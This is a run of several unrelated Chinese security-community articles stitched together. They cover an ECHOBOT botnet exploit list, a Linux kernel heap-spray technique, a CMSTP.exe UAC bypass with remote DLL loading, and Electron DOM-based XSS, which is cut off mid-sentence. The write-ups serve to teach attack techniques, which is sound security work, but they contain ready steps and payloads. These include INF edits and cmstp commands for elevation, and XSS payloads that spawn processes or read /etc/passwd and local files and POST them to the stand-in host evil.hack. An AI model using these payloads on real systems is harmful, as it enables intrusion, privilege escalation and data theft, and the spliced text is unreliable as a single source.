最新的僵尸网络参考平底锅的文章[1]中提及的ECHOBOT最新变种，从恶意软件的代码以及种类可见，其模块众多，跨多平台，内置71个漏洞利用代码，其中每个漏洞利用语句的变量名都代表了每个漏洞的所攻击的中间件。
▲截图用Hash：b4135621d623676cc021c570aea07964
本着推动国内安全厂商对该僵尸网络防护能力提升的原则，我们搬运了平底锅整理的漏洞利用列表，仅供参考。
一、Yachtcontrol-船用电子设备和船用导航软件的web服务器
CVE-2019-17270 扫描端口8081
二、Technicolor TD5130v2和Technicolor TD5336路由器
CVE-2019-18396 / CVE-2017-14127 扫描端口161
三、AVCON6视频会议系统存在AVCON6远程执行代码漏洞
四、Enigma网管系统 v65.0.0
CVE-2019-16072
五、三菱电机smartRTU＆INEA ME-RTU
CVE-2019-14931
六、适用于Linux服务器的Sar2HTML绘图工具v3.2.1
Sar2HTML远程执行代码
七、NetGain企业管理系统
CVE-2017-16602
八、Citrix NetScaler SD-WAN 9.1.2.26.561201设备
CVE-2017-6316
九、Thomson Reuters Velocity Analytics Vhayu Analytic Servers 6.94 build 2995
CVE-2013-5912
十、ACTi ASOC 2200 Web Configurators 2.6及更低版本远程执行代码漏洞
十一、3Com OfficeConnect路由器远程执行代码
十二、Barracuda 防垃圾邮件防火墙versions 3.3.x
十三、CCBill 在线支付系统远程代码执行
剩下的58个漏洞编号列表以及其他漏洞执行语句可见以下链接，可复制
[1]<https://github.com/pan-unit42/iocs/blob/master/mirai/ECHOBOT_28thOct2019.md>
[2]<https://github.com/pan-unit42/iocs/blob/master/mirai/ECHOBOT_6thAug2019.md>
[3]<https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/>
此外，该变种还采用了新的凭据爆破账号，猜测某些IOT厂商又设置了默认的“后门账号”。
## 僵尸网络与网军合作
从上面这个案例可见，当僵尸网络部署了大批有效的漏洞武器后，鉴于全世界范围内很多设备并没有及时更新的情况下，大批主机将会受控，并且基于受控主机的基础上进行一步进行横向扩展和感染，尤其是一个僵尸网络病毒感染了一台内网主机之后。
那么僵尸网络运营商在获取了大量的僵尸主机（肉鸡）后，他们会做些什么？
主要有两个方向：
1. 通过肉鸡本身盈利，例如大批量挖矿，或针对指定目标发起DDOS攻击敛财，服务器勒索。
2. 出售肉鸡盈利
这里就要提一下第二个方向。
如今的一些有攻击策略的，擅长隐藏自身的APT组织(网军)，都在想方设法在网络侧下功夫，这也就意味着会发生下面这个场景：
当安全分析人员在获取到一个攻击者域名时，发现该域名被某威胁情报源打标签为Mirai，也就是上面提到的僵尸网络，大部分安全分析人员会如何处理？
报告给客户，这是一个僵尸网络病毒，不用分析了，按照网上的教程清除吧。
但是如果这是网军从僵尸网络运营商处购买肉鸡，从而发起攻击呢？
目前已知就有两个组织是这么干的。
1. 俄罗斯：2015年被发现 GameOver Zeus恶意软件僵尸网络背后的策划者正在帮助俄罗斯情报部门从他感染的计算机上收集敏感文件。
2019年被美国发现 Dridex恶意软件僵尸网络的管理员与俄罗斯国家情报部门合作搜索敏感数据。
2. 朝鲜[2]：
2019年，朝鲜网军Lazarus 被曝与Trickbot合作，获取僵尸主机作为回连资源，其中有一个域名与该组织资产重叠。
也因此，奇安信威胁情报中心加大了对僵尸网络的监控与分析，为了防止网军掺杂其流量进行攻击，影响追踪效果。
## 总结
物联网
IoT引爆家电、家居、手机等多个行业，主要原因正是各项技术和各个企业的落地实践越来越成熟。正如科幻大片中的场景，当大部分的东西都能被感知，人与物的沟通、物与物的协作更加顺畅后，毫无疑问，智能家居将会成为家电产业的第三战场，带来的不只是商业机会和增长点，还有更多的空间和舞台，以及大量的僵尸主机。
显而易见，新战场将属于物联网IOT，在路由器，摄像头，智能家居漏洞频发的时代，你家里的电冰箱都可能作为攻击源的一部分，这恰恰会成为网军在斑驳杂乱的流量中宛如一只猎豹伺机而动，猎杀目标无形无踪。
这与本文前面提到的僵尸网络变种的进攻思路具备一致性，路由器，防火墙，IP摄像机，船舶管理系统，服务器管理实用程序，工业可编程逻辑控制器，在线支付系统等等这些涉及各行各业的工作必需系统出现在了大批量的攻击列表中，这也恰恰体现了一种攻击思路：广撒网，精聚焦。
未来僵军合作趋势恐愈演愈烈，奇安信威胁情报中心将聚焦各行各业的定向性攻击，挖掘未知威胁，更新防御对策，抵御相关攻击的发起。
## IOC
<https://github.com/pan-unit42/iocs/blob/master/mirai/ECHOBOT_28thOct2019.md>
## 参考链接：
[1]<https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/>
[2]<https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/> | 社区文章 |
原文：<https://cyseclabs.com/blog/linux-kernel-heap-spray>
**简介**
* * *
这个内核堆喷射技术曾经在beVX研讨会期间进行过相应的演示，之后，还曾被用于内核IrDA子系统（Ubuntu
16.04）的0day攻击。与已知的堆喷射不同，该技术适用于非常小的对象（大小不超过8或16字节）或需要控制前N个字节的对象（即目标对象中没有不受控制的头部）。这种技术可以用来利用两个UAF内核漏洞，正如我在研讨会上提到的那样，“堆喷射”这个术语在利用UAF漏洞时并不适用，因为它通常不需要“喷射”（分配）多个对象。为了获得一个合适的分配空间，通常只需要将目标对象放在之前已释放/易受攻击对象的内存空间中即可。
话虽这么说，堆喷射（分配多个对象来填充内存块）绝对适用于其他与堆相关的漏洞，如内核堆溢出。
目前，对于已经公开的各种堆喷射，例如add_key()，send[m]msg()和msgsnd()等，还存在许多错误的理解。所有这些喷射技术都存在对象大小限制或无法用用户空间数据控制的头部（作为对象的前N个字节）。例如，当使用kmalloc为对象分配内存时，msgsnd()分配路径有一个48字节的“不受控制”的头部。
以下用户空间代码将触发如下所示的do_msgsnd执行路径。
#define BUFF_SIZE 96-48
struct {
long mtype;
char mtext[BUFF_SIZE];
} msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
首先，在[1]处的load_msg()中将分配96字节的对象（48字节是struct msg_msg + 48字节用于消息正文）：
long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
[1] msg = load_msg(mtext, msgsz);
...
然后，将用户空间缓冲区内容复制到新分配的内核缓冲区中：
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
[2] if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
...
alloc_msg()函数的实现代码如下所示。其中，消息的最大长度为DATALEN_MSG（4048字节）。如果消息长度大于DATALEN_MSG，则该消息被认为是由多段组成的，并且消息的其余部分被分成不同的段（段头部的8个字节+消息的其余部分），具体见[4]处。
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
[3] alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
alen = min(len, DATALEN_SEG);
[4] seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
...
考虑到总是有一个长度为48字节的不受控制的头部，因此，对于kmalloc-8、16、32高速缓存中的目标对象，或者需要控制前48个字节的任何其他目标对象（例如，函数指针位于易受攻击对象中的偏移量0处）来说，这种喷射技术显然没有多大用途。
理想情况下，通用堆喷射应满足以下条件：
1. 对象大小由用户控制。即使对于非常小的对象（例如，kmalloc-8）也没有限制。
2. 对象内容由用户控制。在对象的开头部分没有不受控制的头部。
3. 在漏洞利用阶段，目标对象应该“呆”在内核中。这一点对复杂的UAF和竞争条件漏洞利用来说特别有用。
上面展示的msgsnd喷射技术仅满足上表中的第3个条件。这个代码路径的好处是，分配的对象会“呆”在内核中，直到进程终止或调用msgrcv函数从队列中弹出其中一条消息为止。
在内核中，还有几条满足前两个条件的路径，但是却不满足第三个条件。根据定义，这些通常都被认为是喷射技术，因为它们用受控的用户数据来喷射一段内存空间。唯一的问题在于，对象的内存分配路径紧跟在释放路径后面。当与UAF或竞争条件漏洞组合使用时，这些“喷射”过程是不可靠的（特别是对于经常使用的缓存中的对象，例如kmalloc-64）。另一个缺点是，它们也不能用于需要利用用户数据来喷射前4或8个字节的目标对象。当释放对象时，前面的8个字节将被一个slab释放列表指针值覆盖，该值指向slab中的下一个要释放的元素（例如，参见这里的计数器溢出示例）。
**userfaultfd+setxattr通用堆喷射技术**
* * *
为了实现通用的堆喷射技术，一般方法采用kmalloc->kfree执行路径之一(满足条件1和2)，并将其与userfaultfd结合使用，以满足第3个条件。
userfaultfd有一个详细的手册页，不仅介绍了其用法，同时还提供了关于如何设置页面错误处理程序线程的示例。其基本思想是，处理用户空间中的页面错误。例如，在用户空间执行延迟内存分配操作后，例如testptr
= mmap(0, 0x1000, ...,
MAP_ANON|...)，如果立即对testptr页面进行读或写操作的话，就会触发内核空间中的页面错误处理程序。使用userfaultfd，可以通过单个线程在用户空间中处理/解决这些页面错误。
接下来，我们的任务是寻找满足上述条件1和2的内核执行路径。例如，setxattr()系统调用具有以下kmalloc->kfree路径：
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
void *vvalue = NULL; /* If non-NULL, we used vmalloc() */
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
[5] kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
if (!kvalue) {
vvalue = vmalloc(size);
if (!vvalue)
return -ENOMEM;
kvalue = vvalue;
}
[6] if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
if (vvalue)
vfree(vvalue);
else
[7] kfree(kvalue);
return error;
}
首先，为一个对象分配内存空间（大小由用户控制，具体参加第[5]行代码），然后在第[6]行代码中，将用户空间数据复制到分配的对象内存空间中。该路径满足我们的堆喷射的条件1和2。但是，为kvaluepointer分配的内存空间，之后会在第[7]行中按照相同执行路径进行释放。
我们的思路是，将该执行路径与userfaultfd用户空间缓冲区/页面结合起来，以便在执行流程达到第[5]行时，在用户空间线程中处理相应的页面错误。然后，可以让该线程无限期地休眠，这样的话，我们喷射的对象就能“呆”在内核空间中了。例如，假设目标对象为16个字节，其中前8个字节是函数指针：
struct target {
void (*fn)();
unsigned long something;
};
首先，在用户空间中分配两个相邻内存页面，并将目标对象放在这两个页面的边界上；其中，前8个字节（即函数指针）放在第一页中，其余字节放在第二页中。然后，使用usefaultfd系统调用在第二页上设置页面错误处理程序，以处理用户空间线程中的所有PF问题。需要注意的是，第一页的页面错误仍然是由内核来处理的。
**堆喷射**
* * *
当setxattr()中的内核执行路径变为第[6]行时，函数指针（8字节）将被复制到kvalue中，但是任何复制剩余字节的尝试，都会将执行权限转移到我们的用户空间线程，进而处理该页面的PF。然后，让该线程休眠N秒，以确保触发UAF路径时，该对象会“呆”在内核中。
**小结**
* * *
在研讨会期间，我们通过这种技术成功攻击了最近的DCCP
UAF漏洞（目标对象大小为16字节，其中前8个字节为函数指针）和IrDA子系统中的另一个0day漏洞（对于该易受攻击的对象，长度为56个字节，其中前16个字节为目标指针）。当然，还存在其他内核执行路径（满足上面的条件1和2），也可以与userfaultfd()结合使用。这种方法的唯一缺点是，主用户空间执行路径也被挂起（当使用一个单独的线程来处理PF时）。不过，这个问题可以通过forking另一个进程或创建第2个线程来解决（例如，子进程用于执行堆喷射，而父进程则用来触发UAF漏洞）。 | 社区文章 |
# 【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL
|
##### 译文声明
本文是翻译文章，文章来源：msitpros.com
原文地址：<https://msitpros.com/?p=3960>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
我乐于花时间深入研究Windows内部的二进制文件以发现隐藏的功能。本文就是我发现的关于CMSTP.exe文件的一些东西。
我发现了使用sendkeys来绕过UAC的方式及从Webdav服务器加载DLL的方式。我知道我发现的绕过方式有点无聊，但是如果这能鼓励其他人一起加入研究，我将非常高兴。在这个二进制文件中可能有更多的东西等待被发现，所以我们继续往下看。
我已经把这个问题报告给了MSRC，他们已经解决了这个问题。
UAC绕过漏洞通常问题不大，可以通过合理配置阻止终端用户访问本地管理员功能。（UAC不是安全边界）
如果你想要了解更多UAC相关的内容，我推荐阅读[James Foreshaw](https://twitter.com/tiraniddo)的精彩文章：
[https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html](https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html)
<https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html>
<https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html>
**
**
**0x01绕过UAC**
下载下面的inf文件和脚本文件，把他们保存到系统中：
[https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1](https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1)
<https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf>
调整脚本并运行，结果如下：
[https://msitpros.com/wp-content/uploads/2017/08/UAC-Bypass-Sendkeys-CMSTP.gif](https://msitpros.com/wp-content/uploads/2017/08/UAC-Bypass-Sendkeys-CMSTP.gif)
**
**
**0x02从Webdav加载DLL**
下载下面的文件（文件名很重要）：
[https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cmp](https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cmp)
<https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cms>
<https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-inf>
调整inf文件中的“RegisterOCXSection”，将它指向托管于你的Webdav服务器上的DLL。
然后运行下面的命令（文件名很重要）：
Cmstp.exe /ni /s c:cmstpCorpVPN.inf
[https://msitpros.com/wp-content/uploads/2017/08/WebDavDLLLoadBlog.gif](https://msitpros.com/wp-content/uploads/2017/08/WebDavDLLLoadBlog.gif)
**
**
**0x03绕过UAC的步骤**
本节，我将描述所有的步骤。下面会有很多截图，但是我认为是有必要的。
如果你不加参数启动了cmstp.exe，结果如下：
如何创建这些配置文件和它们如何安装才是有趣的地方。
我阅读了一些关于CMAK（Connection Manager Administration
Kit）的资料——其是Windows的一个功能，因此我继续通过如下方式启动了它：
当这个功能安装完成后，你能在开始菜单中启动CMAK。它的图标如下：
在启动CMAK后，会出现下面的向导。下面的截图是我选择的选项：
文件位于向导中显示的路径下。我的这个例子中是：C:Program FilesCMAKProfilesWindows Vista and
aboveCorpVPN
这个.exe和.sed文件是IEXPRESS（Windows中用于创建“installer“的二进制文件）文件。可以忽略它们。更多关于IEXPRESS的细节如下：[https://en.wikipedia.org/wiki/IExpress](https://en.wikipedia.org/wiki/IExpress)
现在可以愉快的玩耍了。
在C盘下创建一个文件夹（名为CMSTP）。复制CorpVPN.inf文件到这个目录中：
现在使用记事本打开inf文件，找到RunPreSetupCommandsSection，然后添加下面两行代码（第一行是你想运行的命令）：
c:windowssystem32cmd.exe
taskkill /IM cmstp.exe /F
你需要注释下面两行：
CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
AddReg=Xnstall.AddReg.AllUsers
现在，如果你运行下面的命令行，点击提示框：
C:WindowsSystem32cmstp.exe c:cmstpcorpvpn.inf /au
奇怪的是这个可执行文件不该自动提权。如果我们运行sigcheck检测这个文件，从转储的manifest中我们可以确认这个：
同时，如果我们检查这个进程的特权级，我们确定它默认不该提权，但是现在运行于medium特权级：
现在有趣的是我们可以使用脚本中的sendkeys来自动提权。所有需要的东西我们都有了。
微软在过去已经采取了安全措施（[UIPI](https://en.wikipedia.org/wiki/User_Interface_Privilege_Isolation)）来阻止sendkeys攻击，因此我很惊讶这个还能起作用。我认为这有点酷啊。。。
我创建了一个简单的脚本：
[https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1](https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1)
我还编写了个预置的UACBypass.inf文件，因此你不需要按照上述步骤来安装CMAK：
[https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf](https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf)
我没有时间来逆向CMSTP以查看它是如何提权的，但是其他人可以进一步研究。如果我有时间我也会研究下。
**0x04从Webdav服务器实现加载DLL的步骤**
我还发现了你能从Webdav中加载DLL文件，并执行它们。这在一些场景中能用于绕过AppLocker。你能按照绕过UAC中的CMAK向导教程来完成这个。
你需要在INF文件中添加下面的内容（你能看到从磁盘加载的dll）：
[RegisterOCXSection]
\10.10.10.10webdavAllTheThings.dll
在你运行这个命令之前，你还需要CorpVPN.cmp和CorpVPN.cms，将它们放置于和INF文件同目录：
当然你的DLL文件需要位于Webdav服务器上。
现在，你应该能运行下面的命令来加载DLL了：
cmstp.exe /ni /s c:cmstpCorpVPN.inf
注意，这将安装一个VPN配置，我还没发现其他更好的方式来加载dll。
AllTheThings.dll来自Casey Smith（[@Subtee](https://twitter.com/subTee)）的分享：
[https://github.com/subTee/AllTheThings](https://github.com/subTee/AllTheThings)
作为防御者，我开始研究CMSTP.exe，如果你开启了Device
Guard/Applocker，我建议禁用CMSTP。（除非你需要依赖它来安装VPN连接）。 | 社区文章 |
作者：[二向箔安全](https://mp.weixin.qq.com/s/DgjJ6uKtuUPFQhgztL69RQ)
基于 Electron 的 XSS 攻击实例，远比你想象的简单。
#### 什么是 Electron
也许你从未听说过跨平台 XSS，也从未听说过 Electron， 但你肯定知道 GitHub，或者使用过著名的 Atom 编辑器，
比如正在尝试翻译这篇文章的笔者，正在使用 Atom 来编写 Markdown。 Electron 优秀的跨平台特性，是本文的基础。
简单来说，Electron 是一个框架，用于方便开发者创建跨平台应用。 开发者可以通过它来使用 HTML + JavaScript 来开发桌面应用。
Electron 的用户非常广泛，因为它确实可以为不同平台提供同样的体验。
与传统观念的所谓“桌面应用”不同， Electron 应用包括两个部分（Node.js 和 Chromium）作为运行环境。
分别支持一个主进程和一个渲染进程， 其中，主进程是一个非常 Node.js 风格的进程， 而渲染进程是一个可以运行 Node.js 代码的 Chromium
内核浏览器。
由上文我们得知，Electron 应用是非常特殊的， 它本身是一个二进制应用，而渲染进程则是一个浏览器， 而 Electron
自身又具有很多的特性，所以，我们将从三个方面分析。
我们已知 Electron 的渲染进程是由 Chromium + Node.js 构成， 那么我们可以从分析传统 Web 应用的角度，得出这样的结论：
* DOM 操作非常多、非常频繁
* 基于 DOM 的 XSS 会变得很容易发生
* 可以完成基于 JavaScript 的自由重定向（重定向至不可信站点）
所以，使用传统的 Web 应用分析套路来处理 Electron 是十分必要的。
#### 什么是 DOM-Based XSS
众所周知，DOM-Based XSS 的频发主要是因为 DOM 相关处理不当。 DOM-Based XSS 是因未经转义的用户输入被直接生成为 HTML
而产生。 一般而言，随着 DOM 操作的增多，DOM-Based XSS 发生的概率也会大大提高。 下面是两段 Electron 应用存在 DOM-Based XSS 的示例代码：
// Demo 1
fs.readFile( filename, (err,data) => {
if(!err) element.innerHTML = data; //XSS!
});
// Demo 2
fs.readdir( dirname, (err,files) => {
files.forEach( (filename) => {
let elm = document.createElement( "div" );
elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS!
paerntElm.appendChild( elm );
});
});
对于 Electron 应用而言，一旦 DOM-Based XSS 发生将是灾难性的。 原因是：Node.js 在很多情况下是可以被攻击者进行代码注入的！
除此之外，一般观念里的 XSS = ALERT 在这里是不适用的。
XSS 还有诸多玩法：
* 读写本地文件
* 以任何协议进行通信
* 通过接口与其他进程通信
* 随意地启动其他程序（启动其他进程）
也就是说，通过 DOM-Based XSS 可能被用于执行二进制代码。 在后文中，我们将详细地研究在 Electron 中的 DOM-Based XSS。
#### 与传统的 XSS 的不同之处
现在我们进行一个对比， 对比传统的 Web 应用中的 XSS、浏览器沙盒中的 XSS 和 Electron 中的 XSS。
##### 传统的 Web 应用中的 XSS
* 显示虚假信息、泄露 Cookie、泄露网站内信息……
* 所有 JavaScript 在『在网站内』能做的事
* 除了『网站内』的，啥都不能做
##### 被浏览器沙盒保护中的 XSS
* 即使存在 XSS，对除了 XSS 所在网站的其他站点没有影响
* 站点可以为自己存在的 XSS 承担责任，不影响其他人
##### 在 Electron 中的 XSS
* 可以以当前用户权限启动任意代码
* 所有用户能做的事情，Electron 中的 XSS 都可以做
* 可以超过存在 XSS 的应用本身产生影响
#### 深入分析 Electron 中的 DOM-Based XSS
传统的 XSS 危害
* 弹窗（ALERT）
* 显示假消息（比如插入一个『请输入密码』的文本框）
* 打 Cookie（核心功能）
* 盗取敏感信息（读取密码框内容等）
* 其它……
Electron 的 DOM-Based XSS 使任意代码执行变为可能。 这意味着，DOM-Based XSS 获得了如同缓冲区溢出的攻击效果。
与传统的 DOM-Based XSS 相比，Electron 中的 DOM-Based：
* 攻击向量选择更加多样，甚至可以与 HTTP 无关
* HTML 生成数量少且不复杂，往往不会有非常多的依赖
因此，Electron 中的 DOM 操作必须更精细，严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性，攻击者可以在此之中插入
Node 函数用于攻击， 比如，这是一个普通的 XSS 实例：
// xss_source 是攻击者可以控制的字符串
elm.innerHTML = xss_source; // XSS!
攻击者可以以下面的方式利用：
// 弹计算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 读取本地文件并发送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
很多开发者使用 CSP 来限制 XSS 带来的影响， 那么这种方法是否适用于 Electron 的 DOM-Based XSS 呢？
答案是否定的。下面我们将通过几个例子来讲解。
<!-- 这是一个渲染器中的示例，可以看到 CSP 设置 -->
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
在这种情况下，我们可以通过meta refresh来穿过 CSP：
// 这是 index.js 中的内容
elm.innerHTML = xss_source; // XSS!
// 这是我们对 xss_source 的控制
xss_source = '<meta http-equiv="refresh" content="0;http://evil.hack/">';
// 这是 evil.hack 中的<script>脚本内容
require('child_process').exec('calc.exe',null);
以上过程成功地弹出了计算器。也就是说，Node 语句依然有效。 下面，我们介绍另一种思路，依然是先看一个示例：
<!-- 这是一个渲染器中的示例，可以看到 CSP 设置 -->
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
// index.js
iframe.setAttribute("src", xss_source); // XSS!
// 这是 main.js 的节选
win = new BrowserWindow({width:600, height:400});
win.loadURL(`file://${__dirname}/index.html`);
在这种情况下，我们可以构建：
xss_source = 'file://remote-server/share/trap.html';
// 下面是 trap.html 中的脚本
window.top.location=`data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>`;
此方法依然成功的绕过了 CSP 限制， 原因是在 `main.js` 中的 `file://` 与 `trap.html` 中的 `file://`
被认为是同源的。
#### 私有 API 与架构的安全风险
接下来要内容是分析 Electron 自身带有的丰富的 API、函数和标签带来的安全问题。
##### 私有 API
* 标签
* shell.openExternal 等
##### Electron 的架构问题
* 浏览器窗口默认支持加载file://
* 并没有与普通浏览器一般的地址栏
##### 本地文件信息窃取
我们发现在默认情况下，Node 语句是可用的。 但是，如果开发者禁用了 Node 语句：
// main.js 节选
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
这种情况下，我们注入的 Node 语句不生效，可造成的威胁降低了。 看起来，在创建 BrowserWindow 的时候禁用 Node 语句是必要的。
但是，如果 Node 语句被禁用，Electron 会变得很鸡肋。
如果开发者执意禁止 Node 语句，我们依然不是无计可施的。 以刚刚的 main.js 为例，我们可以通过xhr来做更多的事情。
var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );
通过上面的代码，我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后， XSS 依旧十分强大。
###### iframe 沙盒
iframe 的沙盒可以用于限制 DOM 操作访问沙盒内部，从而降低 XSS 威胁性， 即使是 DOM-Based XSS 在 iframe
中发生，影响也十分有限。 比如如下的情况，在外部控制 iframe 是无效的。
<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg>'test'</div>..."></iframe>
<script>
...
document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML ="Hello, XSS!<script>alert(1)<\/script>"; // not work
</script>
下面是一些常用的 sandbox params：
* allow-same-origin 允许作为包含文档的同源内容被处理
* allow-scripts 允许执行脚本（危险！这意味着 JavaScript 将被正常执行）
* allow-forms 允许提交表单
* allow-top-navigation 允许内容被加载到顶层（危险！）
* allow-popups 允许弹出窗口（危险！）
下面是一个启用allow-popups的例子，以此来说明影响：
<iframe sandbox="allow-same-origin allow-popups" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
<script>
...
var xss = `<a target="_blank" href="data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>">Click</a>`;
document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML = xss;
</script>
在这种情况下，用户一旦点击，就会弹出窗口。 根据默认可执行 Node 语句的特性，弹出计算器。
###### webview 标签的风险
webview 标签是用于在 Electron 中打开其它页面使用的。
* 不同于 iframe，webview 没有访问 webview 外部途径
* 不同于 iframe，webview 同样不可以被外部操作 DOM
* 每一个 webview 都可以被单独地控制是否可以 Node 语句执行
* 通过allowpopups属性，webview 可以弹出窗口
* 可以使用`window.open()`、`<a target=_blank>` 等语句打开新窗口
* 在 iframe 与 webview 中，对 Node 语句执行的控制是不同的
* 在 iframe 中，Node 语句一直被禁止执行，而弹出的窗口可以执行
* 在 webview 中，Node 语句默认被禁止执行，弹出的窗口同样被禁止
* 在 webview 中，Node 语句执行被设置为允许时，弹出的窗口是允许执行的
* webview 即使禁止了 Node 语句执行，在preload脚本中的 Node 依然是可用的。
<webview src="http://example.jp/" preload="./prealod.js"></webview>
//preload.js
window.loadConfig = function(){
let file = `${__dirname}/config.json`;
let s = require("fs").readFileSync( file, "utf-8" );
return JSON.eval( s );
};
通常情况下，开发者会将存在的 Web App 变为一个 Native App, 然后，在 webview 中启动存在的 Web App.
在这里容易出现的问题是，开发者常常需要使用第三方服务接入此页面。
比如第三方广告、视频播放脚本等，它们具有完整能力。 比如执行任意的 JavaScript、构造假页面、污染页面等， 如果这个 webview 可以使用
Node，那就更有意思了。
<body>
<webview src="http://test.cn/"></webview>
<script src="native-apps.js"></script>
</body>
通常的应对之策也易于理解：控制第三方内容的权限，比如通过 iframe 沙盒， 但这不适用于某些嵌入式 JavaScript 广告。 对于 Web App
来说，还有地址栏这个东西，可以让用户自己确认站点是否有效；
浏览器的存在和同源策略大大限制了其影响。 但对于 Electron 来说，没有地址栏，这带来了很大的风险。 更重要的是，一旦 Node
语句被允许执行，威胁能力将大大提高。
下面我们介绍如何利用存在allowpopups设置的 webview：
<webview src="http://test.cn/" allowpopups></webview>
攻击主要原因是在 window.open 中，`file://` 依然可用， 这使得攻击者在可以进行与前文类似的本地文件读取等操作。
// http://test.cn
window.open("file://remote-server/share/trap.html");
// trap.html
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://C:/secret.txt", true );
解决方案很简单：
* 关掉 allowpopups
* 如果一定要用，就在 main.js 中进行 url 合法性检查
###### shell.openExternal 与 shell.openItem 的风险
`shell.openExternal` 与 `shell.openItem` 是 Electron 用于打开外部程序的 API。
const {shell} = require('electron');
const url = 'http://example.cn/';
shell.openExternal(url); // 打开系统默认浏览器
shell.openItem( url );
let file = 'C:/Users/test/test.txt';
shell.openExternal( file ); // 打开文件
shell.openItem( file );
let file = ''file://C:/Users/test/test.txt';';
shell.openExternal( file ); // 打开文件
shell.openItem( file );
常见的情况是 Electron 调用外部浏览器打开，如下：
